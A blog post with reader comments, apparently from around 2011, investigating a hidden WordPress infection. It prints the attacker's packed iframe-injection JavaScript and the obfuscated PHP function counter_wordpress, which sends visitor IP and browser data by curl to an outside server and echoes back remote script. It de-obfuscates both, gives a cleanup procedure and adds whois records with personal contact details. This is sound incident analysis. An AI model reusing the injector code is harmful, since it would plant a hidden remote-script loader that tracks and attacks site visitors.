Complex WordPress Header Javascript and IFrame Injection Problem, Solution and Analysis

Technology, Wordpress By

WordpressWhile working on a development site, that sat idle before any actual work was done for a while, we noticed that some kind of iframe injection had occured. There was no trace of it in the database or the server code, nothing that said iFrame, nothing that added extra scripts. This was a brand new website, template from scratch with no plugins and no content…I Was pulling my hair out, but slowly started getting on to the situation, and with the help of Mike Brich from HavenLight Software, got right down to it after hours of investigation and head scratching.

This post will be very code intensive, but with full explanations, just a warning, I am jumping right into it!!


Bottom line this is how it works:

  • Something Injects Code into wp-settings.php
  • function counter_wordpress is decoded and sends a CURL request to a third party server with your computer info.
  • CURL sends a string from third party server and injects javascript
  • javascript communicates with yet another server and injects an iframe
  • iFrame injects all sorts of other scripts, popups, java programs, and other iFrames from other servers.
  • CURL’d server logs your IP and computer information, and the next time you visit hides itself, or prevents itself from showing its payload, for a while.
  • Repeat.

Jump to Solution

Jump to Analysis

Jump to Questions

The Problem

The iFrame injection did not appear on my browsers, or any other browser in my office. It seemed to appear only on browsers coming from a IP that hadn’t encountered it before, or at least hadn’t for a while. On success or failure of delivering its payload, it hid! Not only from machines, but from Bots too, Googlebot and Googles malware scans saw nothing coming from this site, it was bizarre.

I scanned the source code of the entire wordpress install for any traces of traditional injections or Iframes, but there were none. There was nothing in the database either. I disabled and removed all plugins, and it was still there.

The behavior of the code was strange also, it would load the script, show a Java wants to run warning, then on refresh start loading data from various sources as the iFrame was inserted, I found out later that the script had a 5 second delay when loading the iFrame, which didn’t allow me to catch it as I was refreshing, and also, I am sure, helps avoiding automated scans, including Google’s Malware scans. After loading once it would disappear, never to return.

I couldn’t see it, however something interesting started to happen. Refreshing the page over and over in the source code, shows an error that appeared on the site and showed up in the source code where the original Injection occured, right before the end of </head>

<title>The page is temporarily unavailable</title>
body { font-family: Tahoma, Verdana, Arial, sans-serif; }
<body bgcolor="white" text="black">
<table width="100%" height="100%">
<td align="center" valign="middle">
The page you are looking for is temporarily unavailable.<br/>
Please try again later.


This made it seem as if another website was loading inside mine, since the opening and closing html tags were a dead giveaway. I started to search for this issue and pretty quickly found out that this was an error message from a web server running nginx, an open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server meant for servers with limited system resources. The server was errorign out, perhaps too many sites are connected at once and its DoSing itself. So, confirmed, my website is loading another website in its header.

This is the code that was being used, please be careful and do not click on any links in this document that are in code blocks.

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('d 9(){5=2.e(\'7\');f(!5){8 0=2.c(\'3\');2.g.h(0);0.6=\'7\';0.1.a=\'4\';0.1.b=\'4\';0.1.n=\'i\';0.r=\'s://q.o.j/3.k?6=l\'}}8 t=m("9()",p);',30,30,'el|style|document|iframe|1px|element|id|yahoo_api|var|MakeFrameEx|width|height|createElement|function|getElementById|if|body|appendChild|none|pl|php|2b8325qvzjut0iv8b87u9nlxnan0kpc|setTimeout|display|345|500|sokistatehouse|src|http|'.split('|'),0,{}))
<IFRAME style="display:none" SRC="" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME><meta name="Cart66Version" content="Professional 1.2.2" />

It is messy code, difficult to understand with the naked eye, why? Because, as Mike found out, its packed.

Here is what it looks like unpacked.

function MakeFrameEx() {
	element = document.getElementById('yahoo_api');
	if (!element) {
		var el = document.createElement('iframe');
		document.body.appendChild(el); = 'yahoo_api'; = '1px'; = '1px'; = 'none';
		el.src = ''
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) {
	var t = setTimeout("MakeFrameEx()", 500)

Interesting URL! Where does it go? Interestingly enough to a 404 page on a nginx server, as suspected.

So where is the iFrame, and where the hell is this packed javascript function getting loaded into the header?

Now I go back to my searches, I can’t find any mention of the iFrame URL the new unencoded URL, or even “MakeFrameEx” anywhere in the source code. so

I decided to search again for anything with the words wp_head, which can be done like this:

# grep -Rin 'wp_head' yourdirectory

I look again at the function “counter_wordpress” that I had overlooked as a valid system file, that just looked overly complex (I thought it was part of’s tracker).

It wasn’t.

This is the function that was sitting right above do_action(‘init’) in wp-settings.php:

function counter_wordpress() {$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');

There it is, a ridiculously over encoded piece of code that gets injected into wp_head.

I am going to move onto the solution now, and then go back to analyze this bit of code, and pose some questions because I still can’t answer precisely on how it got in there in the first place.

The Solution

Firstly, go to your main wordpress directory and type:

# ls -al

Take note of any files that have changed recently versus others, most of your wordpress config files should have the same modified date, except maybe wp-config.php

wp-settings.php is the file I found infected, but you may find it elsewhere.

Remove the function counter_wordpress() including the it’s wordpress hook add_action(‘wp_head’, ‘counter_wordpress’);

If you do not have this function in your wp-settings, it may show up somewhere else but you can be sure that it will be followed by an add_action(‘wp_head’, ‘function_name’);  that is not supposed to be there. Find it and remove it immediatly.

If you cannot find the code in the wp-settings.php file I suggest running the following command:

# grep -Rin 'wp_head' yourdirectory

Where yourdirectory is the directory in question, this will give you a list of files, line numbers, and code where wp_head exists in your install, which is a requirement for the code to install itself…(imagine if they had encrypted THAT and evaled it, would be impossible to find.)

After removing this function you should find that your error message, Injected Javascript and Injected iFrames all stop loading.

After you remove the function check your permissions in your wordpress root directory and all other directories, make sure they are set to 755 or even more stringent, mine was not and I suspect that there is some other WordPress vulnerability that took advantage of that, of which I cannot identify.

The Analysis

Lets dig deeper, how does this thing work? It is encrypted after all…

Here is the PHP  function, a bit more legible:

function counter_wordpress()
	$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
	$host = $_SERVER['HTTP_HOST'];
	$uri = urlencode($_SERVER['REQUEST_URI']);
	$ref = urlencode($_SERVER['HTTP_REFERER']);
	$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 2);
	$re = curl_exec($ch);
	echo $re;
add_action('wp_head', 'counter_wordpress');

As we can see, this is a average CURL operation, but to where is it sending? We have all the params but the URL, which is concatenated from…somewhere…

Actually it has alot to do with that variable $_X which is encoded about 3 or 4 times, as you will see:

Evaluation Process

This is the process of evaluation:

  • $_X = an Encoded String
    • Another String is Decoded which accepts $_X
      • Inside that code is another Encoded form of $_X
      • Inside that same Code, the new decoded form of $_X is run through strtr function, which replaced letters and numbers with other letters and numbers.
      • Inside taht same code $_R is set and ereg _replace ran through $_R  with $_X
      • Inside that same code, $_R is evaluated
      • Inside that same code $_R and $_X are set to null so you cant echo them outside of the encoding.
    • Then the entire thing is evaluated, giving you $url

Evaluation Breakdown

Lets break it down:
  • $_F=__FILE__;
  • Encryption Layer 1: $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;
  • eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’));
    • Encryption Layer 2: $_X=base64_decode($_X);$_X=strtr($_X,’123456aouie’,’aouie123456′);$_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);eval($_R);$_R=0;$_X=0;
      •  Encryption Layer 3: $_X=base64_decode($_X);
        • Result: ?><?php $3rl = ‘http://96.69e.a6e.o0/bt.php’; ?>
      •  Encryption Layer 4: $_X=strtr($_X,’123456aouie’,’aouie123456′);
        • Result: ?><?php $url = ‘’; ?>
      • Encryption Layer 5: $_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);
        • Result: ?><?php $url = ‘’; ?>
      • Evaluate Command: eval($_R);
        • Result: ?><?php $url = ‘’; ?>
      • $_R=0;$_X=0;
        • Set these to 0 so you can’t echo them without recreating the encryption process step by step.
    • Final Result of Encryption: $url =  ‘’;
	$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
	$host = $_SERVER['HTTP_HOST'];
	$uri = urlencode($_SERVER['REQUEST_URI']);
	$ref = urlencode($_SERVER['HTTP_REFERER']);
	$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 2);
	$re = curl_exec($ch);
	echo $re;

Complex! This is an enourmous amount of work to encrypt and throw off an investigator trying to figure out what happened to their site. It is an amazing level of complexity, kudos to the designer! This will make sure that you cannot search for ANY of the words, URL’s or text in your wordpress files or databases, there is no algorithm to do a search for something of this complexity, it was hard enough to break it down! All of this encoding to hide the URL:

The end result is that the script sends this data to the server, with all parameters, and echos whatever the server decides to spit back, in my case, it was the compressed javascript code, shown here uncompressed again for convenience:

function MakeFrameEx() {
	element = document.getElementById('yahoo_api');
	if (!element) {
		var el = document.createElement('iframe');
		document.body.appendChild(el); = 'yahoo_api'; = '1px'; = '1px'; = 'none';
		el.src = ''
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) {
	var t = setTimeout("MakeFrameEx()", 500)

This code does a strange check to see if the user agent is internet explorer, opera, webtv or windows and if it is, or isnt, sets a timeout to make a iFrame with the previous code. This delay is perfect for stopping detection from bots, crawlers, and some passers by. It causes confusion when troubleshooting it as well.

The interesting thing about this malicious code is that it uses well known names, such as yahoo_api to create a new element. This bit of code contacts a website known as, which then delivers its payload by opening up an iFrame to Note that the website in the iFrame was different earlier while troubleshooting, than it was shown, but the user always =mexx, whcih I found odd.  I found the javascript snippet on Pastebin of all places, posted by a guest with no comments.

I was interested, where the hell are these domains going, and where is the IP Address located for the originating server that initializes the script? Frankfurt, Germany And Moscow, Russia.

Here are the tracert logs and whois records, you can form opinions yourselves:

Tracert  – Script Originating IP:

Tracing route to over a maximum of 30 hops

  4     *        *       23 ms
  5    21 ms    20 ms    20 ms
  6    22 ms    22 ms    22 ms []
  7    30 ms    23 ms    23 ms
  8    45 ms    36 ms    36 ms []
  9    53 ms    47 ms    53 ms []
 10    47 ms    47 ms    53 ms []

 11    65 ms    69 ms    69 ms []

 12    74 ms    74 ms    74 ms [
 13    64 ms    70 ms    64 ms [
 14   149 ms   143 ms   150 ms []
 15   148 ms   154 ms   154 ms [
 16   148 ms   154 ms   148 ms []

 17   148 ms   154 ms   147 ms []

 18   155 ms   155 ms   158 ms [212.162
 19   358 ms   197 ms   192 ms []

 20   186 ms   180 ms   186 ms []

 21   187 ms   178 ms   185 ms
 22   215 ms   214 ms   220 ms

Whois – Script Originating IP:

inetnum: -
netname:        SPETSENERGO-NET
descr:          SpetsEnergo Ltd.
country:        RU
org:            ORG-SL138-RIPE
admin-c:        KDS23-RIPE
tech-c:         KDS23-RIPE
remarks:        SPAM issues:
remarks:        Network security issues:
remarks:        General and other information:
status:         ASSIGNED PI
mnt-by:         RIPE-NCC-END-MNT
mnt-by:         MNT-SPETSENERGO
mnt-lower:      RIPE-NCC-END-MNT
mnt-routes:     MNT-SPETSENERGO
mnt-domains:    MNT-SPETSENERGO
source:         RIPE #Filtered
organisation:   ORG-SL138-RIPE
org-name:       SpetsEnergo Ltd.
tech-c:         KDS23-RIPE
admin-c:        KDS23-RIPE
remarks:        SPAM issues:
remarks:        Network security issues:
remarks:        General and other information:
org-type:       OTHER
address:        Russia, 127422, Moscow, Timiryazevskaya st, 11
mnt-ref:        MNT-SPETSENERGO
mnt-by:         MNT-SPETSENERGO
source:         RIPE #Filtered
person:         Kruchkov Dmitry Sergeevich
address:        Russia, 127422, Moscow, Timiryazevskaya st, 11
phone:          +7 916 959 2268
nic-hdl:        KDS23-RIPE
source:         RIPE #Filtered
descr:          SPETSENERGO
origin:         AS43239
mnt-by:         MNT-SPETSENERGO
source:         RIPE #Filtered

Tracert: (

  5    21 ms    21 ms    20 ms
  6    44 ms    23 ms    22 ms []
  7    30 ms    29 ms    23 ms
  8    36 ms    35 ms    35 ms []
  9    43 ms    36 ms    42 ms []
 10    42 ms    38 ms    43 ms []

 11    54 ms    53 ms    60 ms []

 12    53 ms    58 ms    59 ms [
 13    57 ms    59 ms    53 ms [
 14   146 ms   134 ms   140 ms []
 15   139 ms   138 ms   146 ms [
 16   139 ms   144 ms   144 ms [
 17   139 ms   144 ms   138 ms [
 18   139 ms   145 ms   180 ms [212.162
 19   157 ms   158 ms   149 ms []

 20   153 ms   144 ms   144 ms []

 21   150 ms   144 ms   150 ms [46.4.
Trace complete.

Whois: (

inetnum: -
netname:        HETZNER-RZ14
descr:          Hetzner Online AG
descr:          Datacenter 14
country:        DE
admin-c:        HOAC1-RIPE
tech-c:         HOAC1-RIPE
status:         ASSIGNED PA
mnt-by:         HOS-GUN
mnt-lower:      HOS-GUN
mnt-routes:     HOS-GUN
source:         RIPE #Filtered
role:           Hetzner Online AG - Contact Role
address:        Hetzner Online AG
address:        Stuttgarter Stra?e 1
address:        D-91710 Gunzenhausen
address:        Germany
phone:          +49 9831 61 00 61
fax-no:         +49 9831 61 00 62
remarks:        *************************************************
remarks:        * For spam/abuse/security issues please contact *
remarks:        * ,  not  this  address     *
remarks:        *************************************************
remarks:        *************************************************
remarks:        *    Any questions on Peering please send to    *
remarks:        *                   *
remarks:        *************************************************
org:            ORG-HOA1-RIPE
admin-c:        MH375-RIPE
tech-c:         GM834-RIPE
tech-c:         RB1502-RIPE
tech-c:         SK2374-RIPE
tech-c:         ND762-RIPE
tech-c:         TF2013-RIPE
tech-c:         MF1400-RIPE
nic-hdl:        HOAC1-RIPE
mnt-by:         HOS-GUN
source:         RIPE #Filtered
descr:          HETZNER-RZ-FKS-BLK3
origin:         AS24940
org:            ORG-HOA1-RIPE
mnt-by:         HOS-GUN
source:         RIPE #Filtered
 organisation:   ORG-HOA1-RIPE
org-name:       Hetzner Online AG
org-type:       LIR
address:        Hetzner Online AG Attn. Martin Hetzner Stuttgarter Str. 1 91710 Gunzenhausen GERMANY
phone:          +49 9831 610061
fax-no:         +49 9831 610062
admin-c:        DM93-RIPE
admin-c:        GM834-RIPE
admin-c:        HOAC1-RIPE
admin-c:        MH375-RIPE
admin-c:        RB1502-RIPE
admin-c:        SK2374-RIPE
admin-c:        TF2013-RIPE
admin-c:        MF1400-RIPE
mnt-ref:        HOS-GUN
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
source:         RIPE #Filtered

Tracert: (

  5    21 ms    21 ms    22 ms
  6    22 ms    22 ms    21 ms []
  7    29 ms    27 ms    29 ms
  8    24 ms    23 ms    29 ms
  9    64 ms    71 ms    70 ms []
 10    64 ms    70 ms    64 ms []

 11    66 ms    71 ms    64 ms []

 12    71 ms    70 ms    64 ms []
 13    87 ms    80 ms    86 ms []

 14    83 ms    87 ms    80 ms [
 15    81 ms    87 ms    81 ms [
 16   168 ms   167 ms   161 ms []
 17   172 ms   166 ms   166 ms [
 18   172 ms   167 ms   172 ms []

 19   167 ms   183 ms   167 ms []

 20   295 ms   203 ms   199 ms
 21   182 ms   177 ms   176 ms [89.149.21
 22   183 ms   180 ms   182 ms [
 23   183 ms   175 ms   182 ms

Trace complete.

Whois: (

inetnum: -
netname:        NETDIRECT-NET
descr:          Leaseweb Germany GmbH (previously netdirekt e. K.)
remarks:        INFRA-AW
country:        DE
admin-c:        WW200-RIPE
tech-c:         SR614-RIPE
status:         ASSIGNED PA
mnt-by:         NETDIRECT-MNT
mnt-lower:      NETDIRECT-MNT
mnt-routes:     NETDIRECT-MNT
source:         RIPE #Filtered
person:         Wiethold Wagner
address:        Leaseweb Germany GmbH (previously netdirekt e. K.)
address:        Kleyer Strasse 79 / Tor 14
address:        60326 Frankfurt
address:        DE
phone:          +49 69 90556880
fax-no:         +49 69 905568822
nic-hdl:        WW200-RIPE
mnt-by:         NETDIRECT-MNT
source:         RIPE #Filtered
person:         Simon Roehl
address:        Leaseweb Germany GmbH (previously netdirekt e. K.)
address:        Kleyer Strasse 79 /Tor 14
address:        60326 Frankfurt
address:        DE
phone:          +49 69 90556880
fax-no:         +49 69 905568822
nic-hdl:        SR614-RIPE
mnt-by:         NETDIRECT-MNT
source:         RIPE #Filtered
descr:          ORG-nA8-RIPE
origin:         AS28753
org:            ORG-nA8-RIPE
mnt-lower:      NETDIRECT-MNT
mnt-routes:     NETDIRECT-MNT
mnt-by:         NETDIRECT-MNT
source:         RIPE #Filtered
organisation:   ORG-nA8-RIPE
org-name:       netdirect
org-type:       LIR
address:        netdirekt e. K. Kleyer Strasse 79 / Tor 14 60326 Frankfurt Germany
phone:          +49 69 90556880
fax-no:         +49 69 905568822
admin-c:        SR614-RIPE
admin-c:        WW200-RIPE
mnt-ref:        NETDIRECT-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
source:         RIPE #Filtered


Permissions are important, and here is where it gets confusion, I am not sure If it was I that left the permissions on this specific account so open (757) or if someone else logged in and did it, or if there was some WordPress vulnerability that was able to do this, but the permissions on all the files were different than my safe and unaffected installs. I am assuming that there is some vulnerability in WordPress that allows a user to write to these directories if the permissions are set in such a way, but I have no evidence or lead as to what it was that did it. Notice in the examples below that the dirty folder structure has wp-settings.php modified sometime in September, but other wp- files modified around the same day of installation, this was not me, as I modifying it to fix it on the 13th.

Example Clean Folder Structure

rw-r--r-- 1 root root   561 Jun  2 13:53 .htaccess
-rw-r--r-- 1 root root   397 Sep 15 15:16 index.php
-rw-r--r-- 1 root root 16899 Sep 15 15:17 license.txt
-rw-r--r-- 1 root root  9202 Sep 15 15:16 readme.html
-rw-r--r-- 1 root root  4343 Sep 15 15:16 wp-activate.php
drwxr-xrwx 9 root root  4096 Sep 15 15:17 wp-admin
-rw-r--r-- 1 root root 40243 Sep 15 15:16 wp-app.php
-rw-r--r-- 1 root root   226 Sep 15 15:16 wp-atom.php
-rw-r--r-- 1 root root   274 Sep 15 15:16 wp-blog-header.php
-rw-r--r-- 1 root root  3931 Sep 15 15:16 wp-comments-post.php
-rw-r--r-- 1 root root   244 Sep 15 15:16 wp-commentsrss2.php
-rwxr-xrwx 1 root root  3471 Sep 19 10:04 wp-config.php
-rw-r--r-- 1 root root  3177 Sep 15 15:16 wp-config-sample.php
drwxr-xrwx 8 root root  4096 Sep 19 10:04 wp-content
-rw-r--r-- 1 root root  1255 Sep 15 15:16 wp-cron.php
-rw-r--r-- 1 root root   246 Sep 15 15:16 wp-feed.php
drwxr-xrwx 8 root root  4096 Sep 15 15:17 wp-includes
-rw-r--r-- 1 root root  1997 Sep 15 15:16 wp-links-opml.php
-rw-r--r-- 1 root root  2525 Sep 15 15:16 wp-load.php
-rw-r--r-- 1 root root 27601 Sep 15 15:16 wp-login.php
-rw-r--r-- 1 root root  7774 Sep 15 15:16 wp-mail.php
-rw-r--r-- 1 root root   494 Sep 15 15:16 wp-pass.php
-rw-r--r-- 1 root root   224 Sep 15 15:17 wp-rdf.php
-rw-r--r-- 1 root root   334 Sep 15 15:17 wp-register.php
-rw-r--r-- 1 root root   226 Sep 15 15:16 wp-rss2.php
-rw-r--r-- 1 root root   224 Sep 15 15:16 wp-rss.php
-rw-r--r-- 1 root root  9839 Sep 15 15:17 wp-settings.php
-rw-r--r-- 1 root root 18646 Sep 15 15:17 wp-signup.php
-rw-r--r-- 1 root root  3702 Sep 15 15:17 wp-trackback.php
-rw-r--r-- 1 root root  3266 Sep 15 15:16 xmlrpc.php

Example Dirty Folder Structure

drwxr-xr-x 5 root root  4096 Sep 29 23:05 .
drwxr-xr-x 3 root root  4096 Oct 10 17:42 ..
-rwxr-xr-x 1 root root   200 Aug 25 17:29 .htaccess
-rwxr-xrwx 1 root root   397 May 25  2008 index.php
-rwxr-xrwx 1 root root 16899 Jun  8 13:18 license.txt
-rwxr-xrwx 1 root root  9202 Jul 12 13:24 readme.html
-rwxr-xrwx 1 root root  4343 May  6 22:26 wp-activate.php
drwxr-xrwx 9 root root  4096 Jul 12 14:24 wp-admin
-rwxr-xrwx 1 root root 40243 Jun  1 17:03 wp-app.php
-rwxr-xrwx 1 root root   226 Dec  9  2010 wp-atom.php
-rwxr-xrwx 1 root root   274 Nov 20  2010 wp-blog-header.php
-rwxr-xrwx 1 root root  3931 Dec  9  2010 wp-comments-post.php
-rwxr-xrwx 1 root root   244 Dec  9  2010 wp-commentsrss2.php
-rwxr-xrwx 1 root root  3166 Aug 24 19:21 wp-config.php
drwxr-xrwx 6 root root  4096 Oct 12 19:21 wp-content
-rwxr-xrwx 1 root root  1255 Mar 16  2010 wp-cron.php
-rwxr-xrwx 1 root root   246 Dec  9  2010 wp-feed.php
drwxr-xrwx 8 root root  4096 Sep 30 01:35 wp-includes
-rwxr-xrwx 1 root root  1997 Oct 23  2010 wp-links-opml.php
-rwxr-xrwx 1 root root  2525 Jun 29 11:50 wp-load.php
-rwxr-xrwx 1 root root 27601 Jun 22 14:45 wp-login.php
-rwxr-xrwx 1 root root  7774 May 25  2010 wp-mail.php
-rwxr-xrwx 1 root root   494 Dec  9  2010 wp-pass.php
-rwxr-xrwx 1 root root   224 Dec  9  2010 wp-rdf.php
-rwxr-xrwx 1 root root   334 Dec  9  2010 wp-register.php
-rwxr-xrwx 1 root root   226 Dec  9  2010 wp-rss2.php
-rwxr-xrwx 1 root root   224 Dec  9  2010 wp-rss.php
-rwxr-xrwx 1 root root 10969 Sep 12 05:39 wp-settings.php
-rwxr-xrwx 1 root root 18646 May 22 17:30 wp-signup.php
-rwxr-xrwx 1 root root  3702 Feb 24  2010 wp-trackback.php
-rwxr-xrwx 1 root root  3266 Apr 17 03:35 xmlrpc.php

The Questions

How did it get in? I have no idea. My permissions were set way too losely on this site, I believe they were set to 757 whereas all my others are 755 or less. This gives public access to write to the server. Still…what did they use to access and write to the server? There was only one username, my box has no other user accounts on it, and FTP is disabled, I only use SSH and SFTP. It is puzzling, any insights or suggestions are appreciated.

Who are these Russians / Germans that are hosting these sites? What are they trying to pull?

I would love to recreate the injection on my own on a clean box and browser to see what javascript and data it pulls from the other sites, I’d have to install something to sniff out the data coming between the injected iFrame and javascript and the site, but thats for another day when I actually have time!

My next step should probably be to e-mail these people, or give them a ring, see if they even know this is happening through their servers.

I hope this article has been helpful, I look forward to further analysis in comments!


  • GTD2011

    Great article, and a perfect solution to my infected sites. Thank you very much! I was wasting a lot of days trying to solve it. I wish I could give you any useful information to your article. This is how it happened to me:

    – I had some WP websites that used themes from Elegant Themes with an script called timthumb. This script was hacked and hackers could infect all the sites I had in my server. You can know more about this here ( )

    – Some of my sites were blacklisted by Google. I use this to check them ( , but the infection still goes on, as you described before. I have found hundred of links hidden, linking to viagra sellers.

    Now I´m probing your solution in all my sites. You´ll receive feedback. Thanks!

    • Glad it is helping, this was a very frustrating one as I couldn’t see it to debug it! Thanks to all my friends and especially Mike Brich ( for noticing the obfuscation technique.

  • Oliver

    Thanks for sharing this important information in such a detailed way.
    In my case the encrypted php-code was directly injected into all index.php files from wordpress, oscommerce and some other shop-subfolders containing helper scripts (95 index.php files in all).
    With your help, i found the right grep argument ‘$_F=__’. The code showed up after lots of space-chars in those index.php-files.

    My only solution was to restore a 5 day old (clean) backup and finally update my outdated wordpress themes. I hope thats it 😉

    Thanks again for the great job.

    • Interesting, almost as if it was a permutation of the same one I had found. Did you find any IP Addresses that it was linked to? Possible to see if it was from the same source?

      • Oliver

        The Script Originating IP was the same like yours.
        It loaded the following adresses:

        • The payloads are different, but the source is the same, very interesting, that is why they went through the trouble to encode the IP Portion so deeply. Wonder why it wasn’t as encoded on yours? Perhaps it was an earlier version. I wonder if this thing gets more complex!

          Funny how they used standard variables throughout the code $_R and $_X.

          • Oliver

            The encoding was also the same, but it apeared directly as a php-statement after lots of space-chars in each index.php:

            it looked like this:

          • Oliver
          • Oh that is the exact code then. Mine also had a ton of opening space characters, but due to bad coding on their end the part that inserts it into wp_head is what showed it up on the same line, with all the spacing too. They were very sloppy on that part.

            If it wasn’t for the sloppiness, extra spacing, etc, it would have been even harder to find.

        • Here is Whois info on bidonionis subdomain of orge .pl This one apparently goes to Japan…

          DOMAIN NAME: orge. pl
          registrant type: individual
          created: 2006.01.17 03:49:26
          last modified: 2011.01.17 14:48:20

          no option

          company: Michau Enterprises Limited
          http://www.AfterMarket .pl/
          street: Chytron 26, Office 21
          city: 1075 Nicosia
          location: CY
          phone: +357.22761649
          last modified: 2010.04.27

          Michau Enterprises Ltd.
          Chytron, 26 Street, Office 21, P.C. 1075 Nicosia, Cypr

          And Tracert:

          5 21 ms 21 ms 22 ms
          6 22 ms 22 ms 22 ms []
          7 60 ms 63 ms 60 ms
          8 102 ms 74 ms 68 ms [
          9 229 ms 228 ms 228 ms [
          10 71 ms 74 ms 77 ms [
          11 103 ms 103 ms 105 ms [
          12 211 ms 214 ms 210 ms [
          13 262 ms 229 ms 252 ms [
          14 282 ms 242 ms 226 ms [
          15 216 ms 222 ms 225 ms [
          16 295 ms 287 ms 285 ms [61.120
          17 289 ms 287 ms 289 ms []
          18 294 ms 292 ms 288 ms []
          19 292 ms 292 ms 288 ms
          20 283 ms 290 ms 296 ms []
          21 299 ms 290 ms 298 ms []
          22 702 ms 706 ms 711 ms []

      • Leftpepper Domain Info: This one is from Germany but server times out after Russia? So server may exist in Russia. This seems like a German/Russian team operation…

        Domain Information
        Query: xe. cx
        Status: Delegated
        Created: 16 Apr 2008
        Modified: 13 Apr 2011
        Expires: 16 Apr 2012
        Name Servers:
        dns1. createnic. de
        dns2. createnic. de
        dns3. createnic. de

        Registrar Information
        Registrar Name: InterNetworX Ltd. & Co. KG
        Registration URL: http://www. inwx. de
        Address: Tempelhofer Damm 140
        12099 Berlin
        Country: DE
        Phone: +49.30.30600125
        Fax: +49.30.30600126
        Customer Service Contact: Service-Team
        Customer Service Email:

        Name: Tobias Engelberg
        Aufm Kirchenland 81
        Essen 45307
        Email Address:

        Admin Contact:
        Name: Tobias Engelberg
        Aufm Kirchenland 81
        Essen 45307
        Email Address:

        Technical Contact:
        Name: CreateNic Hostmaster c/o Tobias Engelber
        Aufm Kirchenland 81
        Essen 45307
        Email Address:
        Phone Number: +49.2015587273
        Fax Number: +49.2015587273

        Billing Contact:
        Name: CreateNic Hostmaster c/o Tobias Engelber
        Aufm Kirchenland 81
        Essen 45307
        Email Address:
        Phone Number: +49.2015587273
        Fax Number: +49.2015587273

        And Tracert:

        5 21 ms 21 ms 21 ms
        6 37 ms 37 ms 36 ms attga04jt . ip. att. net []
        7 37 ms 37 ms 37 ms 0. ae10. BR3. ATL4. ALTER. NET []
        8 38 ms 38 ms 38 ms
        9 150 ms 149 ms 178 ms
        10 186 ms 193 ms 185 ms
        11 266 ms 178 ms 178 ms
        12 180 ms 180 ms 179 ms te-3-0-1. sr1. msk6. ip. di-net. ru []
        13 178 ms 191 ms 177 ms
        14 234 ms 236 ms 240 ms srv3. csi-center .com []
        15 * * * Request timed out.
        16 * * * Request timed out.
        17 * * * Request timed out.
        18 * * * Request timed out.
        19 * * * Request timed out.
        20 * * * Request timed out.
        21 * * * Request timed out.
        22 * * * Request timed out.
        23 * * * Request timed out.
        24 * * * Request timed out.
        25 * * * Request timed out.
        26 * * * Request timed out.
        27 * * * Request timed out.
        28 * * * Request timed out.
        29 * * * Request timed out.
        30 * * * Request timed out.

  • Guest

    Thanks, I am getting reoccurring issues with this, again I heard it was an Elegant themes & timthumb.php issue. No idea how they keep on getting in though. Thanks for the post though, helped.

    • Did you upgrade your Timthumb to latest version and also check the permissions on your files and Directories? 755 Probably is best.

  • oln

    This stuff got injected on my site running MyBB a few days ago, due to a security vulnerability in MyBB that has now been fixed. So it’s not just wordpress that can get affected.

    • Thanks for the response, I noticed in the code that it was workable into any page on any site, all you have to do is change the function name, it grabs the name and directory of the page it’s on as part of the encryption process.

  • Thank you very much for this article. It helped me a lot. Just “caught” one in a wp-settings.php file too. Couldn’t have done it without your help in here.

